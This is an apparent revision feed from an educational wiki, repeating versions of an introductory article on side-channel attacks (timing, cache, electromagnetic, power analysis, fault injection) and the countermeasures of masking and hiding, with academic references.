		<summary type="html">&lt;p&gt;SVrdoljak: Created page with &amp;quot; == Summary==   == Introduction ==   &amp;#039;&amp;#039;&amp;#039;Side Channel Attacks&amp;#039;&amp;#039;&amp;#039; are classified as &amp;#039;&amp;#039;&amp;#039;passive&amp;#039;&amp;#039;&amp;#039; and &amp;#039;&amp;#039;&amp;#039;non-invasive&amp;#039;&amp;#039;&amp;#039; implementation attacks.   == Types of Side Channel Attac...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Side Channel Attacks&#039;&#039;&#039; are classified as &#039;&#039;&#039;passive&#039;&#039;&#039; and &#039;&#039;&#039;non-invasive&#039;&#039;&#039; implementation attacks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Types of Side Channel Attacks ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Timing Attacks ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Cache-Timing Analysis ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Attacks ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Simple Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Differential Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Power-monitoring Attacks ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Simple Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Differential Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Correlation Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Template Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Fault-Injection Attacks ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Masking ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Hiding ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&amp;diff=8939</id>
		<title>Side Channel Attacks</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&amp;diff=8939"/>
		<updated>2021-12-21T19:04:58Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: /* Types of Side Channel Attacks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Side Channel Attacks&#039;&#039;&#039; are attacks on the practical implementation. They are passive and non-invasive and examples of side channels are execution time, electromagnetic radiation and power consumption. You need additional but inexpensive instruments to measure the side channel signals. Different prior knowledge is required depending on the type of attack. Countermeasures are masking and hiding.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Classical cryptanalytic attacks&#039;&#039;&#039; analyse algorithms mathematically for weak points and vulnerabilities. There is a relatively new type of cryptanalytic attack called &#039;&#039;&#039;implementation attack&#039;&#039;&#039; (the Side Channel Attack is part of it). Instead of attacking the algorithm mathematically, the practical implementation is now the target. This type of attack bypasses the previously installed security mechanisms (e.g. RSA, AES) by also using information emitted by the physical implementation, such as electromagnetic radiation in calculations.&lt;br /&gt;
&lt;br /&gt;
There are two types of implementation attack classifications. First the classification in &#039;&#039;&#039;active&#039;&#039;&#039; (device or environment is changed so that the device shows unnatural behavior) and &#039;&#039;&#039;passive&#039;&#039;&#039; (only signals are used that are sent out for observation under normal conditions). The other way is to distinguish whether the attacks are &#039;&#039;&#039;non-invasive&#039;&#039;&#039; (only information from directly accessible interfaces is used), &#039;&#039;&#039;semi-invasive&#039;&#039;&#039; (modification of the device, but only the outer layers) or &#039;&#039;&#039;invasive&#039;&#039;&#039; (manipulation of the device in every possible way).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Side Channel Attacks&#039;&#039;&#039; are classified as &#039;&#039;&#039;passive&#039;&#039;&#039; and &#039;&#039;&#039;non-invasive&#039;&#039;&#039; implementation attacks.&lt;br /&gt;
&lt;br /&gt;
Side channels are for example execution time, electromagnetic radiation, and power consumption. The attacker tries to find out the secret key by analysing its influence on the side channel signals. Relatively inexpensive basic equipment is required to carry out a Side Channel Attack. A personal computer is sufficient to analyse the side channels. Instruments such as an oscilloscope, spectrum analyser, or electromagnetic antenna are required for the measurement. The attack itself can last from a few minutes to a few hours.&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Side channels.PNG|500px]]&amp;lt;ref name=&amp;quot;Mai12&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Types of Side Channel Attacks ==&lt;br /&gt;
&lt;br /&gt;
As there are different side channels, there are of course also different Side Channel Attacks. The best-known Side Channel Attacks are&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;: &lt;br /&gt;
# Timing Attacks&lt;br /&gt;
# Electromagnetic Attacks &lt;br /&gt;
# Power-Monitoring Attacks&lt;br /&gt;
# Fault-Injection Attacks &lt;br /&gt;
&lt;br /&gt;
=== Timing Attacks ===&lt;br /&gt;
&lt;br /&gt;
The Timing Attack is a Side Channel attack in which the execution time is analysed in order to obtain important information about a device. This is possible because each process is completed after a certain period of time, which depends on the type of process, the input, the characteristics of the environment and the technology used to build the device. &amp;lt;br/&amp;gt;&lt;br /&gt;
This type of attack is typically used in conjunction with other Side Channel Attacks because more information can be extracted using different analytical methods. The Power-Monitoring Attack, for example, works very well in combination with the Timing Attack. When using these two attacks in conjunction, one recognizes, for example, the order of operations. In this way, the attacker can guess the process currently running on the device and possibly also reconstruct it.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Cache-Timing Analysis ====&lt;br /&gt;
&lt;br /&gt;
An example of a Timing Attack is the Cache-Timing Analysis. This type of Timing Attack is applied to a process&#039;s cache memory. The aim is to measure the times for cache accesses and then use these time values to draw conclusions about which information is currently being processed. This is possible because the time for a cache access can vary in two ways:&lt;br /&gt;
* cache hit (the data requested by the processor is available in the cache) and &lt;br /&gt;
* cache miss (the data requested by the processor is not available in the cache and must therefore be requested from the main memory).&lt;br /&gt;
&lt;br /&gt;
It takes longer to load the data from the main memory than to call up the data directly from the cache. The time difference is used in the Time Analysis to exploit the device. The attacker measures the time by deleting the monitored memory line (smallest administrative unit within the cache of processors) from the cache (FLUSH) and then waits for the victim to request the memory line. In this case it allows access to it (WAIT). The attacker then reloads the memory line and measures the time required for loading (RELOAD). If the victim accesses the memory line (cache) while the attacker is waiting for it, the RELOAD takes less time. If the request has to be answered from main memory, the RELOAD takes considerably longer.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt; &amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Cache Timing Attack.PNG|600px]]&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Attacks ===&lt;br /&gt;
&lt;br /&gt;
Electromagnetic (EM) signals can be intercepted with sensors such as an antenna. The EM signal is then converted into a current signal from which the noise is removed and the frequency band is limited. The two main types of EM analysis are&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
* Simple Electromagnetic Analysis and &lt;br /&gt;
* Differential Electromagnetic Analysis.&lt;br /&gt;
&lt;br /&gt;
==== Simple Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
In order to be able to carry out a Simple Electromagnetic Analysis (SEMA), one must have prior knowledge of the architecture or the security policies of the device. The attacker tries to capture and analyse a single EM trace in order to obtain information about the device in this way. The analysis is done visually and the goal is to find a sequence of transitions in the function that contain information about the secret key.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Differential Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
Differential Electromagnetic Analysis (DEMA) is required when the information that needs to be used cannot be analysed visually (i.e. Simple Electromagnetic Analysis is not possible). The analysed signal is compared with an equivalent signal. When the equivalent signal comes from another area of the device, this is called spatial referencing. If the signal comes from a different time, this is called temporal referencing. &amp;lt;br/&amp;gt;&lt;br /&gt;
Differential Electromagnetic Analysis does not require a lot of knowledge about the compromised device, since most of the information can be learned afterwards during the analysis. This helps to get details about the device such as functionality and structure, which in turn helps to reconstruct the device or to deactivate the security policy.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Power-monitoring Attacks ===&lt;br /&gt;
&lt;br /&gt;
Power consumption analysis is used to obtain critical information (i.e. the secret key) by analysing the power consumption of a device. The attack is non-invasive, but requires the attacker to have physical access to the device in order to capture the current signals. It is the dominant form of Side Channel Attacks.&lt;br /&gt;
&lt;br /&gt;
Performing such an attack requires a series of current measurements, which can be measured with an oscilloscope. Each current signal that is captured during the analysis is called a power trace. An attacker normally needs a large number of these power traces in order to successfully carry out a Power-Monitoring Attack. After the measurement, the relationship between the power consumption and the secret key is analysed in various ways.&lt;br /&gt;
&lt;br /&gt;
When measuring the power consumption of a device, it is important to be aware that there are two types of power that affect power consumption: dynamic power and leakage power. The first is caused by switching activity of transistors within a device and the second is unwanted behaviour of a transistor. An attacker normally wants to capture dynamic power signals as they directly relate to the functional behaviour of the device. This means that he can use these signals to obtain information about certain operations that are currently being carried out inside of the device.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
Simple Power Analysis (SPA) does not require any advanced or statistical processing stages, but it does require relatively detailed knowledge about the implementation of a cryptographic algorithm to interpret information about the secret key by visually examining the power traces. &amp;lt;br/&amp;gt;&lt;br /&gt;
Simple Power Analysis is typically used for devices with limited accessibility, as only a few power traces are likely to be available to the attacker. However, for the attack to be successful, the power traces must contain critical information. If multiple power traces are available, the traces can be averaged to remove noise.&lt;br /&gt;
The power traces are usually checked visually. They show a sequence of patterns that can help identify key bits, instructions, or functions. This is possible because every command or function creates a specific pattern in the power trace. But to be able to see it, the captured power trace must have a clear pattern (without a lot of noise).&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Differential Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
Differential Power Analysis (DPA) is the most common type of Power-Monitoring Attack and generally the best-known Side Channel Attack. This is because the attacker does not need to have any prior knowledge of the device he is trying to attack. Another reason is that this attack is very effective at capturing high quality signals in environments with high levels of noise. What can be seen as a disadvantage is that it typically requires a larger number of power traces compared to Simple Power Analysis. But that fact also makes it more powerful. &amp;lt;br/&amp;gt;&lt;br /&gt;
Differential Power Analysis requires two phases: data collection and data analysis (just like SPA). In the data analysis phase, the current traces are analysed statistically (e.g. differences in the mean values).&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Correlation Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
The Correlation Power Analysis is an advanced form of the Power-Monitoring Attack. First, the real power consumption is measured. Hypothetical intermediate values are then calculated, each consisting of a part of an estimated subkey and known data (i.e. plain text). The theoretical power consumption that occurs in the device during the processing of the intermediate value is estimated for each hypothetical intermediate value, e.g. with the help of the [[Wikipedia:Hamming_distance|Hamming distance]]. A statistical method is then used to find out which subkey was most likely used by correlating the hypothetical power traces and the actual power traces. The best subkey guesses are then pieced together to get the full secret key.&amp;lt;ref name=&amp;quot;CPA&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Correlation Power Analysis.PNG|350px]]&amp;lt;ref name=&amp;quot;CPA&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Template Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
The Template Power Analysis is a more advanced form of the Simple Power Analysis (SPA). The attacker characterises and saves known and recognized patterns in the power traces as templates. He then compares these templates with the power traces collected from the target device. In this way, he recognizes matches and therefore knows what operations were being carried out when the power traces were measured.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;CRR03&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fault-Injection Attacks ===&lt;br /&gt;
The Fault-Injection Attacks is a attack where keys/secrets and sensitive information is &amp;quot;stolen&amp;quot; from cryptographic devices or systems by generating faults. Usually the attacker exploits a system that is more prone to being vulnerable due to its higher design complexity and incomplete verification. Voltage glitching, electromagnetic glitching or clock glitching are some of the ways a fault is generated. Fault-Injection Attacks are usually differential, because the output of a faulty operation is compared to a non-faulty operation.&amp;lt;ref name=&amp;quot;ISCA&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
There are also other Side Channel Attacks such as Acoustic and Optical Attacks, but these have not yet been extensively investigated and are therefore not mentioned in more detail here.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
The aim of the countermeasures is to reduce the usable part of the side channel information to a level at which attacks are no longer possible, or at least to a level that would require too many measurements of the side channel. It would of course be much more attractive if you managed to prevent attacks from being possible, but in practice this is very difficult to achieve. A general countermeasure against all types of Side Channel Attacks is to use secret keys and similar sensitive data as rarely as possible (e.g. work with session keys) and to update them as often as possible.&lt;br /&gt;
&lt;br /&gt;
From a technical point of view, the aim of these countermeasures is to remove the dependency between the data values and operations occurring in a cryptographic algorithm and the side channel signals of a cryptographic device. Two basic approaches can be taken to achieve this goal&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;: &lt;br /&gt;
* Masking&lt;br /&gt;
* Hiding&lt;br /&gt;
&lt;br /&gt;
=== Masking ===&lt;br /&gt;
&lt;br /&gt;
When masking is used, all susceptible intermediate values v of a cryptographic algorithm are hidden by a random value m called a mask: v(m) = v ∗ m. The random mask is generated internally by a device as it must not be known to an attacker. All operations performed in a cryptographic device only work with the masked values v(m). The most common masking operations are the XOR function (Boolean masking) and arithmetic operations such as modular addition or multiplication (arithmetic masking). Examples of masking countermeasures are masked look-up tables in software or masked function blocks in hardware.&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hiding ===&lt;br /&gt;
&lt;br /&gt;
Hiding is an attempt to change the side channel properties of cryptographic devices in such a way that the data processed on a device and the emitted side channel signals can no longer be associated with one another. However, this is usually not perfectly possible in practice. There are two main approaches to implement hiding:&lt;br /&gt;
* Randomization, i.e. randomizing side channel signals (e.g. inserting dummy operations randomly or mixing operations) and &lt;br /&gt;
* making side channel signals the same (for all operations and data values).&lt;br /&gt;
Randomization of side channel signals can be achieved by performing the operations of cryptographic algorithms at different times for each execution (temporal randomization) or by directly increasing the noise level in the side channel signals (randomization in the amplitude dimension).&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;BT19&amp;quot;&amp;gt;Swarup Bhunia and Mark Tehranipoor. Chapter 8 - side-channel attacks. In Swarup Bhunia and Mark Tehranipoor, editors, Hardware Security, pages 193-218. Morgan Kaufmann, 2019.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;CRR03&amp;quot;&amp;gt;Suresh Chari, Josyula R. Rao, and Pankaj Rohatgi. Template attacks. In Burton S. Kaliski, cetin K. Koc, and Christof Paar, editors, Cryptographic Hardware and Embedded Systems - CHES 2002, pages 13-28, Berlin, Heidelberg, 2003. Springer Berlin Heidelberg.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Pop09&amp;quot;&amp;gt;T. Popp. An introduction to implementation attacks and countermeasures. In 2009 7th IEEE/ACM International Conference on Formal Methods and Models for Co-Design, pages 108-115, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Mai12&amp;quot;&amp;gt;Ken Mai. Side Channel Attacks and Countermeasures, pages 175-194. Springer New York, New York, NY, 2012.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;CPA&amp;quot;&amp;gt;https://cryptography.gmu.edu/documentation/fobos/cpa.html&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;ISCA&amp;quot;&amp;gt;Y. Li, M. Chen and J. Wang, &amp;quot;Introduction to side-channel attacks and fault attacks,&amp;quot; 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&amp;diff=8938</id>
		<title>Side Channel Attacks</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&amp;diff=8938"/>
		<updated>2021-12-21T19:04:41Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Side Channel Attacks&#039;&#039;&#039; are attacks on the practical implementation. They are passive and non-invasive and examples of side channels are execution time, electromagnetic radiation and power consumption. You need additional but inexpensive instruments to measure the side channel signals. Different prior knowledge is required depending on the type of attack. Countermeasures are masking and hiding.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Classical cryptanalytic attacks&#039;&#039;&#039; analyse algorithms mathematically for weak points and vulnerabilities. There is a relatively new type of cryptanalytic attack called &#039;&#039;&#039;implementation attack&#039;&#039;&#039; (the Side Channel Attack is part of it). Instead of attacking the algorithm mathematically, the practical implementation is now the target. This type of attack bypasses the previously installed security mechanisms (e.g. RSA, AES) by also using information emitted by the physical implementation, such as electromagnetic radiation in calculations.&lt;br /&gt;
&lt;br /&gt;
There are two types of implementation attack classifications. First the classification in &#039;&#039;&#039;active&#039;&#039;&#039; (device or environment is changed so that the device shows unnatural behavior) and &#039;&#039;&#039;passive&#039;&#039;&#039; (only signals are used that are sent out for observation under normal conditions). The other way is to distinguish whether the attacks are &#039;&#039;&#039;non-invasive&#039;&#039;&#039; (only information from directly accessible interfaces is used), &#039;&#039;&#039;semi-invasive&#039;&#039;&#039; (modification of the device, but only the outer layers) or &#039;&#039;&#039;invasive&#039;&#039;&#039; (manipulation of the device in every possible way).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Side Channel Attacks&#039;&#039;&#039; are classified as &#039;&#039;&#039;passive&#039;&#039;&#039; and &#039;&#039;&#039;non-invasive&#039;&#039;&#039; implementation attacks.&lt;br /&gt;
&lt;br /&gt;
Side channels are for example execution time, electromagnetic radiation, and power consumption. The attacker tries to find out the secret key by analysing its influence on the side channel signals. Relatively inexpensive basic equipment is required to carry out a Side Channel Attack. A personal computer is sufficient to analyse the side channels. Instruments such as an oscilloscope, spectrum analyser, or electromagnetic antenna are required for the measurement. The attack itself can last from a few minutes to a few hours.&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Side channels.PNG|500px]]&amp;lt;ref name=&amp;quot;Mai12&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Types of Side Channel Attacks ==&lt;br /&gt;
&lt;br /&gt;
As there are different side channels, there are of course also different Side Channel Attacks. The best-known Side Channel Attacks are&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;: &lt;br /&gt;
# Timing Attacks&lt;br /&gt;
# Electromagnetic Attacks &lt;br /&gt;
# Power-Monitoring Attacks&lt;br /&gt;
# Fault-Injection Attacks &lt;br /&gt;
&lt;br /&gt;
=== Timing Attacks ===&lt;br /&gt;
&lt;br /&gt;
The Timing Attack is a Side Channel attack in which the execution time is analysed in order to obtain important information about a device. This is possible because each process is completed after a certain period of time, which depends on the type of process, the input, the characteristics of the environment and the technology used to build the device. &amp;lt;br/&amp;gt;&lt;br /&gt;
This type of attack is typically used in conjunction with other Side Channel Attacks because more information can be extracted using different analytical methods. The Power-Monitoring Attack, for example, works very well in combination with the Timing Attack. When using these two attacks in conjunction, one recognizes, for example, the order of operations. In this way, the attacker can guess the process currently running on the device and possibly also reconstruct it.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Cache-Timing Analysis ====&lt;br /&gt;
&lt;br /&gt;
An example of a Timing Attack is the Cache-Timing Analysis. This type of Timing Attack is applied to a process&#039;s cache memory. The aim is to measure the times for cache accesses and then use these time values to draw conclusions about which information is currently being processed. This is possible because the time for a cache access can vary in two ways:&lt;br /&gt;
* cache hit (the data requested by the processor is available in the cache) and &lt;br /&gt;
* cache miss (the data requested by the processor is not available in the cache and must therefore be requested from the main memory).&lt;br /&gt;
&lt;br /&gt;
It takes longer to load the data from the main memory than to call up the data directly from the cache. The time difference is used in the Time Analysis to exploit the device. The attacker measures the time by deleting the monitored memory line (smallest administrative unit within the cache of processors) from the cache (FLUSH) and then waits for the victim to request the memory line. In this case it allows access to it (WAIT). The attacker then reloads the memory line and measures the time required for loading (RELOAD). If the victim accesses the memory line (cache) while the attacker is waiting for it, the RELOAD takes less time. If the request has to be answered from main memory, the RELOAD takes considerably longer.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt; &amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Cache Timing Attack.PNG|600px]]&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Attacks ===&lt;br /&gt;
&lt;br /&gt;
Electromagnetic (EM) signals can be intercepted with sensors such as an antenna. The EM signal is then converted into a current signal from which the noise is removed and the frequency band is limited. The two main types of EM analysis are&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
* Simple Electromagnetic Analysis and &lt;br /&gt;
* Differential Electromagnetic Analysis.&lt;br /&gt;
&lt;br /&gt;
==== Simple Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
In order to be able to carry out a Simple Electromagnetic Analysis (SEMA), one must have prior knowledge of the architecture or the security policies of the device. The attacker tries to capture and analyse a single EM trace in order to obtain information about the device in this way. The analysis is done visually and the goal is to find a sequence of transitions in the function that contain information about the secret key.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Differential Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
Differential Electromagnetic Analysis (DEMA) is required when the information that needs to be used cannot be analysed visually (i.e. Simple Electromagnetic Analysis is not possible). The analysed signal is compared with an equivalent signal. When the equivalent signal comes from another area of the device, this is called spatial referencing. If the signal comes from a different time, this is called temporal referencing. &amp;lt;br/&amp;gt;&lt;br /&gt;
Differential Electromagnetic Analysis does not require a lot of knowledge about the compromised device, since most of the information can be learned afterwards during the analysis. This helps to get details about the device such as functionality and structure, which in turn helps to reconstruct the device or to deactivate the security policy.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Power-monitoring Attacks ===&lt;br /&gt;
&lt;br /&gt;
Power consumption analysis is used to obtain critical information (i.e. the secret key) by analysing the power consumption of a device. The attack is non-invasive, but requires the attacker to have physical access to the device in order to capture the current signals. It is the dominant form of Side Channel Attacks.&lt;br /&gt;
&lt;br /&gt;
Performing such an attack requires a series of current measurements, which can be measured with an oscilloscope. Each current signal that is captured during the analysis is called a power trace. An attacker normally needs a large number of these power traces in order to successfully carry out a Power-Monitoring Attack. After the measurement, the relationship between the power consumption and the secret key is analysed in various ways.&lt;br /&gt;
&lt;br /&gt;
When measuring the power consumption of a device, it is important to be aware that there are two types of power that affect power consumption: dynamic power and leakage power. The first is caused by switching activity of transistors within a device and the second is unwanted behaviour of a transistor. An attacker normally wants to capture dynamic power signals as they directly relate to the functional behaviour of the device. This means that he can use these signals to obtain information about certain operations that are currently being carried out inside of the device.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
Simple Power Analysis (SPA) does not require any advanced or statistical processing stages, but it does require relatively detailed knowledge about the implementation of a cryptographic algorithm to interpret information about the secret key by visually examining the power traces. &amp;lt;br/&amp;gt;&lt;br /&gt;
Simple Power Analysis is typically used for devices with limited accessibility, as only a few power traces are likely to be available to the attacker. However, for the attack to be successful, the power traces must contain critical information. If multiple power traces are available, the traces can be averaged to remove noise.&lt;br /&gt;
The power traces are usually checked visually. They show a sequence of patterns that can help identify key bits, instructions, or functions. This is possible because every command or function creates a specific pattern in the power trace. But to be able to see it, the captured power trace must have a clear pattern (without a lot of noise).&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Differential Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
Differential Power Analysis (DPA) is the most common type of Power-Monitoring Attack and generally the best-known Side Channel Attack. This is because the attacker does not need to have any prior knowledge of the device he is trying to attack. Another reason is that this attack is very effective at capturing high quality signals in environments with high levels of noise. What can be seen as a disadvantage is that it typically requires a larger number of power traces compared to Simple Power Analysis. But that fact also makes it more powerful. &amp;lt;br/&amp;gt;&lt;br /&gt;
Differential Power Analysis requires two phases: data collection and data analysis (just like SPA). In the data analysis phase, the current traces are analysed statistically (e.g. differences in the mean values).&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Correlation Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
The Correlation Power Analysis is an advanced form of the Power-Monitoring Attack. First, the real power consumption is measured. Hypothetical intermediate values are then calculated, each consisting of a part of an estimated subkey and known data (i.e. plain text). The theoretical power consumption that occurs in the device during the processing of the intermediate value is estimated for each hypothetical intermediate value, e.g. with the help of the [[Wikipedia:Hamming_distance|Hamming distance]]. A statistical method is then used to find out which subkey was most likely used by correlating the hypothetical power traces and the actual power traces. The best subkey guesses are then pieced together to get the full secret key.&amp;lt;ref name=&amp;quot;CPA&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Correlation Power Analysis.PNG|350px]]&amp;lt;ref name=&amp;quot;CPA&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Template Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
The Template Power Analysis is a more advanced form of the Simple Power Analysis (SPA). The attacker characterises and saves known and recognized patterns in the power traces as templates. He then compares these templates with the power traces collected from the target device. In this way, he recognizes matches and therefore knows what operations were being carried out when the power traces were measured.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;CRR03&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fault-Injection Attacks ===&lt;br /&gt;
The Fault-Injection Attacks is a attack where keys/secrets and sensitive information is &amp;quot;stolen&amp;quot; from cryptographic devices or systems by generating faults. Usually the attacker exploits a system that is more prone to being vulnerable due to its higher design complexity and incomplete verification. Voltage glitching, electromagnetic glitching or clock glitching are some of the ways a fault is generated. Fault-Injection Attacks are usually differential, because the output of a faulty operation is compared to a non-faulty operation.&amp;lt;ref name=&amp;quot;7522801&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
There are also other Side Channel Attacks such as Acoustic and Optical Attacks, but these have not yet been extensively investigated and are therefore not mentioned in more detail here.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
The aim of the countermeasures is to reduce the usable part of the side channel information to a level at which attacks are no longer possible, or at least to a level that would require too many measurements of the side channel. It would of course be much more attractive if you managed to prevent attacks from being possible, but in practice this is very difficult to achieve. A general countermeasure against all types of Side Channel Attacks is to use secret keys and similar sensitive data as rarely as possible (e.g. work with session keys) and to update them as often as possible.&lt;br /&gt;
&lt;br /&gt;
